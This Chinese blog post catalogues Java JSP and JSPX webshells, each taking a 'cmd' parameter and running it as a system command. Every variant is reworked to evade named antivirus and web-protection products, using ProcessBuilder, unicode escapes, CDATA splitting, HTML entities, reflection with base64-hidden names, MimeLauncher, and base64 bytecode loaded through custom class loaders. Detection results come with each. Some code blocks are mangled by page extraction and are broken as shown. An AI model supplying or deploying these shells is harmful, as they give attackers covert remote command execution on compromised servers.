十万字解析java免查杀合集

十万字解析java免查杀合集

精选文章moguli202025-03-12 14:18:0315A+A-
<%@ page import='java.io.InputStream'>
<%@ page import='java.io.BufferedReader'>
<%@ page import='java.io.InputStreamReader'>
<%@page language='java' pageencoding='utf-8'>


<% string cmd='request.getParameter("cmd");' process process='Runtime.getRuntime().exec(cmd);' inputstream is='process.getInputStream();' bufferedreader bufferedreader='new' bufferedreadernew inputstreamreaderis string r='null;' whiler='bufferedReader.readLine())!=null){' response.getwriter.printlnr>

查杀的点在于Runtime.getRuntime().exec非常明显的特征

利用ProcessBuilder替换Runtime.getRuntime().exec(cmd)

Runtime.getRuntime().exec(cmd)其实最终调用的是ProcessBuilder这个函数,因此我们可以直接利用ProcessBuilder来替换Runtime.getRuntime().exec(cmd),从而绕过正则表达式

<%@ page import='java.io.InputStream'>
<%@ page import='java.io.BufferedReader'>
<%@ page import='java.io.InputStreamReader'>
<%@page language='java' pageencoding='utf-8'>


<% string cmd='request.getParameter("cmd");' process process='new' processbuildernew stringcmd.start inputstream is='process.getInputStream();' bufferedreader bufferedreader='new' bufferedreadernew inputstreamreaderis string r='null;' whiler='bufferedReader.readLine())!=null){' response.getwriter.printlnr>

免杀效果

某狗:

某盾:

某马:

vt:

某度在线查杀:

可以看到这全部都免杀过了,就换了一个函数。

这种方式是利用Expression将Runtime.getRuntime().exec这个特征分开,相当于一个对调函数。免杀效果一般,因为很多查杀都是直接匹配Runtime.getRuntime()

<%@ page import='java.beans.Expression'>
<%@ page import='java.io.InputStreamReader'>
<%@ page import='java.io.BufferedReader'>
<%@ page import='java.io.InputStream'>
<%@ page language='java' pageencoding='UTF-8'>
<% string cmd='request.getParameter("cmd");' expression expr='new' expressionruntime.getruntime exec new objectcmd process process='(Process)' expr.getvalue inputstream in='process.getInputStream();' bufferedreader bufferedreader='new' bufferedreadernew inputstreamreaderin string tmp='null;' whiletmp='bufferedReader.readLine())!=null){' response.getwriter.printlntmp>

查杀效果:

可以看到某狗已经查杀出来了。只能说效果很一般

jsp支持unicode编码,如果杀软不支持unicode查杀的话,基本上都能绕过

<%@ page language='java' contenttype='text/html;charset=UTF-8' pageencoding='UTF-8'>
<%@ page import='java.io.*'>

<% \uuuu0053\uuuu0074\uuuu0072\uuuu0069\uuuu006e\uuuu0067\uuuu0020\uuuu0063\uuuu006d\uuuu0064\uuuu0020\uuuu003d\uuuu0020\uuuu0072\uuuu0065\uuuu0071\uuuu0075\uuuu0065\uuuu0073\uuuu0074\uuuu002e\uuuu0067\uuuu0065\uuuu0074\uuuu0050\uuuu0061\uuuu0072\uuuu0061\uuuu006d\uuuu0065\uuuu0074\uuuu0065\uuuu0072\uuuu0028\uuuu0022\uuuu0063\uuuu006d\uuuu0064\uuuu0022\uuuu0029\uuuu003b\uuuu0050\uuuu0072\uuuu006f\uuuu0063\uuuu0065\uuuu0073\uuuu0073\uuuu0020\uuuu0070\uuuu0072\uuuu006f\uuuu0063\uuuu0065\uuuu0073\uuuu0073\uuuu0020\uuuu003d\uuuu0020\uuuu0052\uuuu0075\uuuu006e\uuuu0074\uuuu0069\uuuu006d\uuuu0065\uuuu002e\uuuu0067\uuuu0065\uuuu0074\uuuu0052\uuuu0075\uuuu006e\uuuu0074\uuuu0069\uuuu006d\uuuu0065\uuuu0028\uuuu0029\uuuu002e\uuuu0065\uuuu0078\uuuu0065\uuuu0063\uuuu0028\uuuu0063\uuuu006d\uuuu0064\uuuu0029\uuuu003b\uuuu0049\uuuu006e\uuuu0070\uuuu0075\uuuu0074\uuuu0053\uuuu0074\uuuu0072\uuuu0065\uuuu0061\uuuu006d\uuuu0020\uuuu0069\uuuu0073\uuuu0020\uuuu003d\uuuu0020\uuuu0070\uuuu0072\uuuu006f\uuuu0063\uuuu0065\uuuu0073\uuuu0073\uuuu002e\uuuu0067\uuuu0065\uuuu0074\uuuu0049\uuuu006e\uuuu0070\uuuu0075\uuuu0074\uuuu0053\uuuu0074\uuuu0072\uuuu0065\uuuu0061\uuuu006d\uuuu0028\uuuu0029\uuuu003b\uuuu0042\uuuu0075\uuuu0066\uuuu0066\uuuu0065\uuuu0072\uuuu0065\uuuu0064\uuuu0052\uuuu0065\uuuu0061\uuuu0064\uuuu0065\uuuu0072\uuuu0020\uuuu0062\uuuu0075\uuuu0066\uuuu0066\uuuu0065\uuuu0072\uuuu0065\uuuu0064\uuuu0052\uuuu0065\uuuu0061\uuuu0064\uuuu0065\uuuu0072\uuuu0020\uuuu003d\uuuu0020\uuuu006e\uuuu0065\uuuu0077\uuuu0020\uuuu0042\uuuu0075\uuuu0066\uuuu0066\uuuu0065\uuuu0072\uuuu0065\uuuu0064\uuuu0052\uuuu0065\uuuu0061\uuuu0064\uuuu0065\uuuu0072\uuuu0028\uuuu006e\uuuu0065\uuuu0077\uuuu0020\uuuu0049\uuuu006e\uuuu0070\uuuu0075\uuuu0074\uuuu0053\uuuu0074\uuuu0072\uuuu0065\uuuu0061\uuuu006d\uuuu0052\uuuu0065\uuuu0061\uuuu0064\uuuu0065\uuuu0072\uuuu0028\uuuu0069\uuuu0073\uuuu0029\uuuu0029\uuuu003b\uuuu0053\uuuu0074\uuuu0072\uuuu0069\uuuu006e\uuuu0067\uuuu0020\uuuu0072\uuuu0020\uuuu003d\uuuu0020\uuuu006e\uuuu0075\uuuu006c\uuuu006c\uuuu003b\uuuu0077\uuuu0068\uuuu0069\uuuu006c\uuuu0065\uuuu0028\uuuu0028\uuuu0072\uuuu0020\uuuu003d\uuuu0020\uuuu0062\uuuu0075\uuuu0066\uuuu0066\uuuu0065\uuuu0072\uuuu0065\uuuu0064\uuuu0052\uuuu0065\uuuu0061\uuuu0064\uuuu0065\uuuu0072\uuuu002e\uuuu0072\uuuu0065\uuuu0061\uuuu0064\uuuu004c\uuuu0069\uuuu006e\uuuu0065\uuuu0028\uuuu0029\uuuu0029\uuuu0021\uuuu003d\uuuu006e\uuuu0075\uuuu006c\uuuu006c\uuuu0029\uuuu007b\uuuu0072\uuuu0065\uuuu0073\uuuu0070\uuuu006f\uuuu006e\uuuu0073\uuuu0065\uuuu002e\uuuu0067\uuuu0065\uuuu0074\uuuu0057\uuuu0072\uuuu0069\uuuu0074\uuuu0065\uuuu0072\uuuu0028\uuuu0029\uuuu002e\uuuu0070\uuuu0072\uuuu0069\uuuu006e\uuuu0074\uuuu006c\uuuu006e\uuuu0028\uuuu0072\uuuu0029\uuuu003b\uuuu007d>

注意这里的\uuuu00可以换成\uuuu00uuu...可以跟多个u达到绕过的效果

将代码(除page以及标签)进行unicode编码,并条件到<%%>标签中,即可执行webshell

在线unicode编码转换:

https://3gmfw.cn/tools/unicodebianmazhuanhuanqi/

注意用此在线unicode编码后内容会存在 /ua ,需要手动删除,负责无法正常运行

可以看到依旧执行成功

查杀效果:

这个基本上是通杀了属实是,但由于特征过于明显,如果人工查杀的话,很容易被发现

这里是要是利用jspx的进行进行免杀,jspx其实就是xml格式的jsp文件

在jspx中,可以利用来代替<%%>

<%@ page import='java.io.InputStream'>
<%@ page import='java.io.BufferedReader'>
<%@ page import='java.io.InputStreamReader'>
<%@page language='java' pageencoding='utf-8'>


  String cmd = request.getParameter("cmd");
  Process process = Runtime.getRuntime().exec(cmd);
  InputStream is = process.getInputStream();
  BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(is));
  String r = null;
  while((r = bufferedReader.readLine())!=null){
    response.getWriter().println(r);
  }

被过滤时可以利用EL表达式,达到绕过的效果

${Runtime.getRuntime().exec(param.cmd)}

EL表达式的11个隐含对象

其他情况:

利用命令空间改名去绕过



Runtime.getRuntime().exec(pageContext.request.getParameter("cmd"));



利用绕过

   
   Runtime.getRuntime().exec(pageContext.request.getParameter("cmd"));
   

以上是jsp的一些特性,下面开始正式讲解CDATA

说人话就是只要能配对就相互抵消,其他不变,因此就可以说多了一个混淆的方式,有点类似多行注释在一行中使用(sql注入绕过waf),但是这个特征可以将关键字,函数进行分割,让其能混淆的空间变的更大

下面是用xml格式的jsp文件



  
  
  String cmd = request.getParameter("cmd");
  Process process = Runtime.getRuntime().exec(cmd);
  java.io.InputStream is = process.getInputStream();
  java.io.BufferedReader bufferedReader = new java.io.BufferedReader(new java.io.InputStreamReader(is));
  String r = null;
  while((r = bufferedReader.readLine())!=null){
    response.getWriter().println(r);
  }


可以看到这里是能正常运行的,接下来文件使用CDATA进行混淆



  
  
  String cmd = requParameter("cmd");
  Process process = Ruime().exec(cmd);
  java.io.InputStream is = process.getInputStream();
  java.io.BufferedReader bufferedReader = new java.io.BufferedReader(new java.io.InputStreamReader(is));
  String r = null;
  while((r = bufferedReader.readLine())!=null){
    response.getWriter().println(r);
  }


依旧是能成功运行的,但是我们可以requst和Runtime这些类名都被插入了CDATA,从而消除了特征

免杀效果:

这里HTML编码免杀与jspx的特效有关,前面的CDATA设计到了jspx的相关知识,由此CDATA的免杀就在上文讲了

在XML里可以通过html实体编码来对特殊字符转义,jspx同样继承了该特性,由此jspx就具有识别html实体编码,接下来我们就利用上面的免杀马进行进一步的混淆



  
  
  String cmd = requParameter("cmd");
  Process process = Ruime().exec(cmd);
  java.io.InputStream is = process.getInputStream();
  java.io.BufferedReader bufferedReader = new java.io.BufferedReader(new java.io.InputStreamReader(is));
  String r = null;
  while((r = bufferedReader.readLine())!=null){
    response.getWriter().println(r);
  }


注意:含有CDATA的内容是不能进行html实体编码的,反之html实体编码后的内容也不能插入CDATA,否则无法执行

在线html实体编码:

https://www.qqxiuzi.cn/bianma/zifushiti.php

可以看到依旧可以正常运行

本章主要讲解反射在webhell中的利用,以及反射绕过杀软的利用与原理

<%@ page import='java.lang.reflect.Method'>
<%@ page import='java.lang.reflect.Field'>
<%@ page import='java.io.*'>
<%@ page language='java' pageencoding='UTF-8'>
<%

  String cmd = request.getParameter("cmd");

  Class rt =Class.forName("java.lang.Runtime");
  Method runtimeMethod = rt.getMethod("getRuntime");
  Method method = rt.getMethod("exec", String.class);
  Object object = method.invoke(runtimeMethod.invoke(null),cmd);
  Process process = (Process) object;

  InputStream in = process.getInputStream();
  InputStreamReader resultReader = new InputStreamReader(in);
  BufferedReader stdInput = new BufferedReader(resultReader);
  String s = null;

  while ((s = stdInput.readLine()) != null) {
    out.println(s);
  }
%>

免杀效果:

特征太明显里面还有java.lang.Runtime,getRuntime,exec这些敏感内容,由于与反射相关的参数都是字符串,由此我们能操作的空间就很大了。

利用base64加解密敏感内容

<%@ page import='java.lang.reflect.Method'>
<%@ page import='java.io.*'>
<%@ page import='java.util.Base64'>
<%@ page language='java' pageencoding='UTF-8'>
<%

  String cmd = request.getParameter(new String(Base64.getDecoder().decode("Y21k"),"utf-8"));
  Class rt =Class.forName(new String(Base64.getDecoder().decode("amF2YS5sYW5nLlJ1bnRpbWU="),"utf-8"));

  Method runtimeMethod = rt.getMethod(new String(Base64.getDecoder().decode("Z2V0UnVudGltZQ=="),"utf-8"));
  Method method = rt.getMethod(new String(Base64.getDecoder().decode("ZXhlYw=="),"utf-8"), String.class);
  Object object = method.invoke(runtimeMethod.invoke(null),cmd);
  Process process = (Process) object;

  InputStream is = process.getInputStream();
  BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(is));
  String r = null;
  while((r = bufferedReader.readLine())!=null){
    response.getWriter().println(r);
  }
%>

免杀效果:

通过测试发现并非查杀的是与反射相关的所有函数,而是匹配是否存在getMethod函数,因此我们只需将getMethod改为getDeclaredMethod即可

getDeclaredMethod替换getMethod

<%@ page import='java.lang.reflect.Method'>
<%@ page import='java.io.*'>
<%@ page import='java.util.Base64'>
<%@ page language='java' pageencoding='UTF-8'>
<%

  String cmd = request.getParameter(new String(Base64.getDecoder().decode("Y21k"),"utf-8"));
  Class rt =Class.forName(new String(Base64.getDecoder().decode("amF2YS5sYW5nLlJ1bnRpbWU="),"utf-8"));

  Method runtimeMethod = rt.getDeclaredMethod(new String(Base64.getDecoder().decode("Z2V0UnVudGltZQ=="),"utf-8"));
  Method method = rt.getDeclaredMethod(new String(Base64.getDecoder().decode("ZXhlYw=="),"utf-8"), String.class);
  Object object = method.invoke(runtimeMethod.invoke(null),cmd);
  Process process = (Process) object;

  InputStream is = process.getInputStream();
  BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(is));
  String r = null;
  while((r = bufferedReader.readLine())!=null){
    response.getWriter().println(r);
  }
%>

可以看到正常运行

免杀效果:

可以看到某盾依旧查杀,经过测试某盾查杀的是当存在反射函数又存在Process类的getInputStream方法时会被查杀,这种情况下,笔者并未找到太好的办法,要么就这些不回显,要么就利用之前文章写的免杀技巧。

<%@ page import='java.lang.reflect.Method'>
<%@ page import='java.io.*'>
<%@ page import='java.util.Base64'>
<%@ page language='java' pageencoding='UTF-8'>
<%

  String cmd = request.getParameter(new String(Base64.getDecoder().decode("Y21k"),"utf-8"));
  Class rt =Class.forName(new String(Base64.getDecoder().decode("amF2YS5sYW5nLlJ1bnRpbWU="),"utf-8"));

  Method runtimeMethod = rt.getDeclaredMethod(new String(Base64.getDecoder().decode("Z2V0UnVudGltZQ=="),"utf-8"));
  Method method = rt.getDeclaredMethod(new String(Base64.getDecoder().decode("ZXhlYw=="),"utf-8"), String.class);
  Object object = method.invoke(runtimeMethod.invoke(null),cmd);
%>

免杀效果:

www.MimeLauncher免杀

在sun.net. www.MimeLauncher中存在一个run方法 ,而该run方法存在命令执行漏洞

本来打算将MimeLauncher放到前面内置函数免杀那篇文章上讲,由于MimeLauncher无法直接使用,需要借助反射进行调用,因此就笔者就将MimeLauncher放在反射免杀后讲,及本章

<%@ page import='java.io.*'>
<%@ page import='java.net.URLConnection'>
<%@ page import='java.net.URL'>
<%@ page import='sun.net.www.MimeEntry'>
<%@ page import='java.lang.reflect.Field'>
<%@ page import='java.lang.reflect.Constructor'>
<%@ page import='java.lang.reflect.Method'>
<%@ page language='java' pageencoding='UTF-8'>
<% string cmd='request.getParameter("cmd");' urlconnection urlconnection='new' urlhttp:127.0.0.1s.openconnection mimeentry mimeentry='new' mimeentrynaihe class meclass='MimeEntry.class;' field field='meClass.getDeclaredField("command");' field.setaccessibletrue field field2='meClass.getDeclaredField("tempFileNameTemplate");' field2.setaccessibletrue field2.setmimeentrynaihes567 inputstream inputstream='new' inputstream override public int read throws ioexception return -1 class mimeclass='Class.forName("sun.net.www.MimeLauncher");' constructor mimecon='mimeClass.getDeclaredConstructor(MimeEntry.class,URLConnection.class,' inputstream.classstring.classstring.class mimecon.setaccessibletrue thread thread='(Thread)' mimecon.newinstancemimeentry urlconnection inputstream 00 field field3='mimeClass.getDeclaredField("execPath");' field3.setaccessibletrue field3.setthreadcmd method m='mimeClass.getDeclaredMethod("run");' m.setaccessibletrue m.invokethread>

类似MimeLauncher的类还有许多,适合大家去挖掘挖掘,利用时大概率会用到反射,就当练习练习反射相关的知识也是不错的选择

免杀效果:

这种方式简单地说就是用ideal将java文件编程成class文件,然后将class读取出来用base64编码即可,这种方式比较方便简单,不需要会使用ASM,javassist等字节码框架。

package com.demo;

import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.nio.ByteBuffer;
import java.nio.channels.FileChannel;
import java.util.Base64;

public class Demo {
    public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, InstantiationException {
        FileChannel fileChannel = null;
        FileInputStream in = null;

        in = new FileInputStream("C:\\Users\\12107\\Desktop\\免杀\\target\\classes\\com\\demo\\Shell.class");
        fileChannel = in.getChannel();
        ByteBuffer buffer = ByteBuffer.allocate((int) fileChannel.size());

        while (fileChannel.read(buffer) > 0) {
        }

        System.out.println(new String(Base64.getEncoder().encode(buffer.array())));

    }
}

Shell.java

package com.demo;

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;

public class Shell {

    public static String runs(String cmd) throws IOException {
        Process process = Runtime.getRuntime().exec(cmd);
        InputStream is = process.getInputStream();
        BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(is));
        String r = "";
        String s = "";
        while((r = bufferedReader.readLine())!=null){
            s += r;
        }
        return s;
    }

}

javassist是生成修改字节码的框架,使用比ASM更简洁,但是并非jvm自带的库,也是笔者非常喜欢的一个框架。

package com.demo;

import javassist.*;

import java.io.IOException;
import java.util.Base64;

public class Demo2 {
    public static void main(String[] args) throws NotFoundException, CannotCompileException, IOException {
        ClassPool classPool = ClassPool.getDefault();

        CtClass cc1 = classPool.makeClass("com.demo.Shell");

        CtConstructor cons = new CtConstructor(new CtClass[]{},cc1);
        cons.setBody("{}");
        String runCode1="{}";
        cons.insertBefore((runCode1));
        cc1.addConstructor(cons);

        CtMethod cm2 = new CtMethod(ClassPool.getDefault().get("java.lang.String"), "runs", new CtClass[]{classPool.get("java.lang.String")}, cc1);
        cm2.setModifiers(Modifier.PUBLIC);
        cm2.setBody("{        Process process = Runtime.getRuntime().exec($1);\n" +
                "        java.io.InputStream is = process.getInputStream();\n" +
                "        java.io.BufferedReader bufferedReader = new java.io.BufferedReader(new java.io.InputStreamReader(is));\n" +
                "        String r = \"\";\n" +
                "        String s = \"\";\n" +
                "        while((r = bufferedReader.readLine())!=null){\n" +
                "            s += r;\n" +
                "        }\n" +
                "        return s;}");
        cc1.addMethod(cm2);
        System.out.println(new String(Base64.getEncoder().encode(cc1.toBytecode())));

    }
}

ASM相比javassist操作更复杂,但是jvm自带,利用面非常广

package com.demo;

import jdk.internal.org.objectweb.asm.ClassWriter;
import jdk.internal.org.objectweb.asm.MethodVisitor;
import java.util.Base64;
import static jdk.internal.org.objectweb.asm.Opcodes.*;


public class Demo2 {
    public static void main(String[] args){

        ClassWriter cw = new ClassWriter(ClassWriter.COMPUTE_MAXS);
        cw.visit(V1_8, ACC_PUBLIC, "Shell", null, "java/lang/Object", null);

        MethodVisitor mw = cw.visitMethod(ACC_PUBLIC, "", "()V", null, null);
        mw.visitVarInsn(ALOAD, 0);
        mw.visitMethodInsn(INVOKESPECIAL, "java/lang/Object", "", "()V",false);
        mw.visitInsn(RETURN);
        mw.visitMaxs(1, 1);
        mw.visitEnd();

        MethodVisitor mw2 = cw.visitMethod(ACC_PUBLIC, "runs",
                "(Ljava/lang/String;)Ljava/lang/Process;", null, null);
        mw2.visitCode();
        mw2.visitMethodInsn(INVOKESTATIC, "java/lang/Runtime", "getRuntime",
                "()Ljava/lang/Runtime;",false);
        mw2.visitVarInsn(ALOAD,1);
        mw2.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Runtime", "exec", "(Ljava/lang/String;)Ljava/lang/Process;", false);
        mw2.visitInsn(ARETURN);
        mw2.visitMaxs(10, 3);
        mw2.visitEnd();
        byte[] code = cw.toByteArray();
        System.out.println(new String(Base64.getEncoder().encode(code)));

    }
}

这里由于ASM操作比较复杂,就先生成一个简单的字节码(前面javac和javassist笔者写的回显都是在字节码这,这ASM回显的内容就先不放在ASM中生成),由于runs函数的返回值为Process,我们只需要在后面的jsp处理中拿出来用即可。

<%@ page import='java.lang.reflect.Constructor'>
<%@ page import='java.util.Base64'>
<%@ page import='java.security.cert.Certificate'>
<%@ page import='java.security.*'>
<%@ page import='java.lang.reflect.Method'>
<%@ page import='java.io.InputStream'>
<%@ page import='java.io.BufferedReader'>
<%@ page import='java.io.InputStreamReader'>
<%


  ClassLoader loader = new ClassLoader() {
    @Override
    public Class loadClass(String name) throws ClassNotFoundException {
      if(name.contains("com.demo.Shell")){
        return findClass(name);
      }
      return super.loadClass(name);
    }

    @Override
    protected Class findClass(String name) throws ClassNotFoundException {
      try {
        byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAFQEADmNvbS9kZW1vL1NoZWxsBwABAQAQamF2YS9sYW5nL09iamVjdAcAAwEABjxpbml0PgEAAygpVgwABQAGCgAEAAcBAARydW5zAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQARamF2YS9sYW5nL1J1bnRpbWUHAAsBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7DAANAA4KAAwADwEABGV4ZWMMABEACgoADAASAQAEQ29kZQABAAIABAAAAAAAAgABAAUABgABABQAAAARAAEAAQAAAAUqtwAIsQAAAAAAAQAJAAoAAQAUAAAAFAAKAAIAAAAIuAAQK7YAE7AAAAAAAAA=");
        PermissionCollection pc = new Permissions();
        pc.add(new AllPermission());
        ProtectionDomain protectionDomain = new ProtectionDomain(new CodeSource(null, (Certificate[]) null), pc, this, null);
        return this.defineClass(name, bytes, 0, bytes.length, protectionDomain);
      } catch (Exception e) {
        e.printStackTrace();
      }
      return super.findClass(name);
    }
  };

  String cmd = request.getParameter("cmd");
  Class shell = loader.loadClass("com.demo.Shell");

  Object object =  shell.newInstance();
  Method dm = shell.getDeclaredMethod("runs",String.class);

  Process o2 = (Process)dm.invoke(object, cmd);
  InputStream is = o2.getInputStream();
  BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(is));
  String r = "";
  String s = "";
  while((r = bufferedReader.readLine())!=null){
    s += r;
  }
  response.getWriter().println(s);

%>

免杀修改

<%@ page import='java.lang.reflect.Method'>
<%@ page import='java.util.Base64'>
<%@ page import='java.io.InputStream'>
<%@ page import='java.io.FileInputStream'>
<%@ page import='java.nio.channels.FileChannel'>
<%@ page import='java.nio.ByteBuffer'>
<%@ page language='java' pageencoding='UTF-8'>
<% method defineclass='ClassLoader.class.getDeclaredMethod("defineClass",' string.class byte.class int.class int.class defineclass.setaccessibletrue byte bytes='Base64.getDecoder().decode("yv66vgAAADQAUAoAEAAtCgAuAC8KAC4AMAoAMQAyBwAzBwA0CgAGADUKAAUANggANwoABQA4BwA5CgALAC0KAAsAOgoACwA7BwA8BwA9AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABBMY29tL2RlbW8vU2hlbGw7AQAEcnVucwEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQADY21kAQASTGphdmEvbGFuZy9TdHJpbmc7AQAHcHJvY2VzcwEAE0xqYXZhL2xhbmcvUHJvY2VzczsBAAJpcwEAFUxqYXZhL2lvL0lucHV0U3RyZWFtOwEADmJ1ZmZlcmVkUmVhZGVyAQAYTGphdmEvaW8vQnVmZmVyZWRSZWFkZXI7AQABcgEAAXMBAA1TdGFja01hcFRhYmxlBwA+BwA/BwBABwAzAQAKRXhjZXB0aW9ucwcAQQEAClNvdXJjZUZpbGUBAApTaGVsbC5qYXZhDAARABIHAEIMAEMARAwARQBGBwA/DABHAEgBABZqYXZhL2lvL0J1ZmZlcmVkUmVhZGVyAQAZamF2YS9pby9JbnB1dFN0cmVhbVJlYWRlcgwAEQBJDAARAEoBAAAMAEsATAEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyDABNAE4MAE8ATAEADmNvbS9kZW1vL1NoZWxsAQAQamF2YS9sYW5nL09iamVjdAEAEGphdmEvbGFuZy9TdHJpbmcBABFqYXZhL2xhbmcvUHJvY2VzcwEAE2phdmEvaW8vSW5wdXRTdHJlYW0BABNqYXZhL2lvL0lPRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBABMoTGphdmEvaW8vUmVhZGVyOylWAQAIcmVhZExpbmUBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEABmFwcGVuZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEACHRvU3RyaW5nACEADwAQAAAAAAACAAEAEQASAAEAEwAAAC8AAQABAAAABSq3AAGxAAAAAgAUAAAABgABAAAACAAVAAAADAABAAAABQAWABcAAAAJABgAGQACABMAAADlAAUABgAAAEu4AAIqtgADTCu2AARNuwAFWbsABlkstwAHtwAIThIJOgQSCToFLbYAClk6BMYAHLsAC1m3AAwZBbYADRkEtgANtgAOOgWn/+AZBbAAAAADABQAAAAiAAgAAAALAAgADAANAA0AHQAOACEADwAlABAALwARAEgAEwAVAAAAPgAGAAAASwAaABsAAAAIAEMAHAAdAAEADQA+AB4AHwACAB0ALgAgACEAAwAhACoAIgAbAAQAJQAmACMAGwAFACQAAAAcAAL/ACUABgcAJQcAJgcAJwcAKAcAJQcAJQAAIgApAAAABAABACoAAQArAAAAAgAs");' class shell='(Class)' defineclass.invokeclassloader.getsystemclassloader com.demo.shell bytes 0 bytes.length object object='shell.newInstance();' method dm='shell.getDeclaredMethod("runs",String.class);' object invoke='dm.invoke(object,' calc>

免杀效果:

虽然用原始的defindClass虽然能到达免杀效果,但是由于没有重写loadClass,findClass,没有打破双亲委派,导致恶意的字节码被加载后,再次访问网页的时候,类不会被生成,导致不能正常使用

自定义classloader免杀

<%@ page import='java.lang.reflect.Constructor'>
<%@ page import='java.util.Base64'>
<%@ page import='java.security.cert.Certificate'>
<%@ page import='java.security.*'>
<%@ page import='java.lang.reflect.Method'>
<%@ page import='java.io.InputStream'>
<%@ page import='java.io.BufferedReader'>
<%@ page import='java.io.InputStreamReader'>
<%


  ClassLoader loader = new ClassLoader() {
    @Override
    public Class loadClass(String name) throws ClassNotFoundException {
      if(name.contains("com.demo.Shell")){
        return findClass(name);
      }
      return super.loadClass(name);
    }

    @Override
    protected Class findClass(String name) throws ClassNotFoundException {
      try {
        byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAUAoAEAAtCgAuAC8KAC4AMAoAMQAyBwAzBwA0CgAGADUKAAUANggANwoABQA4BwA5CgALAC0KAAsAOgoACwA7BwA8BwA9AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABBMY29tL2RlbW8vU2hlbGw7AQAEcnVucwEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQADY21kAQASTGphdmEvbGFuZy9TdHJpbmc7AQAHcHJvY2VzcwEAE0xqYXZhL2xhbmcvUHJvY2VzczsBAAJpcwEAFUxqYXZhL2lvL0lucHV0U3RyZWFtOwEADmJ1ZmZlcmVkUmVhZGVyAQAYTGphdmEvaW8vQnVmZmVyZWRSZWFkZXI7AQABcgEAAXMBAA1TdGFja01hcFRhYmxlBwA+BwA/BwBABwAzAQAKRXhjZXB0aW9ucwcAQQEAClNvdXJjZUZpbGUBAApTaGVsbC5qYXZhDAARABIHAEIMAEMARAwARQBGBwA/DABHAEgBABZqYXZhL2lvL0J1ZmZlcmVkUmVhZGVyAQAZamF2YS9pby9JbnB1dFN0cmVhbVJlYWRlcgwAEQBJDAARAEoBAAAMAEsATAEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyDABNAE4MAE8ATAEADmNvbS9kZW1vL1NoZWxsAQAQamF2YS9sYW5nL09iamVjdAEAEGphdmEvbGFuZy9TdHJpbmcBABFqYXZhL2xhbmcvUHJvY2VzcwEAE2phdmEvaW8vSW5wdXRTdHJlYW0BABNqYXZhL2lvL0lPRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBABMoTGphdmEvaW8vUmVhZGVyOylWAQAIcmVhZExpbmUBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEABmFwcGVuZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEACHRvU3RyaW5nACEADwAQAAAAAAACAAEAEQASAAEAEwAAAC8AAQABAAAABSq3AAGxAAAAAgAUAAAABgABAAAACAAVAAAADAABAAAABQAWABcAAAAJABgAGQACABMAAADlAAUABgAAAEu4AAIqtgADTCu2AARNuwAFWbsABlkstwAHtwAIThIJOgQSCToFLbYAClk6BMYAHLsAC1m3AAwZBbYADRkEtgANtgAOOgWn/+AZBbAAAAADABQAAAAiAAgAAAALAAgADAANAA0AHQAOACEADwAlABAALwARAEgAEwAVAAAAPgAGAAAASwAaABsAAAAIAEMAHAAdAAEADQA+AB4AHwACAB0ALgAgACEAAwAhACoAIgAbAAQAJQAmACMAGwAFACQAAAAcAAL/ACUABgcAJQcAJgcAJwcAKAcAJQcAJQAAIgApAAAABAABACoAAQArAAAAAgAs");
        PermissionCollection pc = new Permissions();
        pc.add(new AllPermission());
        ProtectionDomain protectionDomain = new ProtectionDomain(new CodeSource(null, (Certificate[]) null), pc, this, null);
        return this.defineClass(name, bytes, 0, bytes.length, protectionDomain);
      } catch (Exception e) {
        e.printStackTrace();
      }
      return super.findClass(name);
    }
  };

  String cmd = request.getParameter("cmd");
  Class shell = loader.loadClass("com.demo.Shell");

  Object object =  shell.newInstance();
  Method dm = shell.getDeclaredMethod("runs",String.class);

  response.getWriter().println(dm.invoke(object, cmd));

%>

免杀效果:

Apache Commons BCEL被包含在了JDK的原生库中,BCEL库提供了一系列用于分析、创建、修改Java Class文件的API用于处理字节码,但是
com.sun.org.apache.bcel.internal.util.ClassLoader这个类加载器由于安全问题,在JDK7以上版本被移除,导致BCEL字节码的利用变得很局限。

